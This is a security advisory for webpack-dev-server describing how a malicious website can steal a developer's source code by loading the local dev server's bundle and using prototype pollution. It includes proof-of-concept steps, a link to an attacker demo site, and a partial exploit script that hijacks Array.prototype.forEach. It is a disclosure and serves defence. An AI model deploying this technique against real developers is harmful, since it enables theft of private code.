GHSA-4v9v-hfq4-rm2v — webpack-dev-server users' source code may be stolen when they access a malicious web site

Affected: npm: webpack-dev-server

### Summary Source code may be stolen when you access a malicious web site.

### Details Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `<script src="http://localhost:8080/main.js">` in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables. By using `Function::toString` against the values in `__webpack_modules__`, the attacker can get the source code.

### PoC 1. Download [reproduction.zip](https://github.com/user-attachments/files/18426585/reproduction.zip) and extract it 2. Run `npm i` 3. Run `npx webpack-dev-server` 4. Open `https://e29c9a88-a242-4fb4-9e64-b24c9d29b35b.pages.dev/` 5. You can see the source code output in the document and the devtools console.

![image](https://github.com/user-attachments/assets/9d4dcdca-5d24-4c84-a7b4-feb1782bca09)

The script in the POC site is: ```js let moduleList const onHandlerSet = (handler) => { console.log('h', handler) moduleList = handler.require.m }

const originalArrayForEach = Array.prototype.forEach Array.prototype.forEach = function forEach(callback, thisArg) { callback((handler) => { onHandlerSet(handler) }) originalArrayForEach.call(this, callback, thisArg) Array.prototype.forEach = originalArrayForEach }

const script = document.createElement('script') script.src = 'http://localh…

Most recent entries from all

GHSA-4v9v-hfq4-rm2v — webpack-dev-server users' source code may be stolen when they access a malicious web site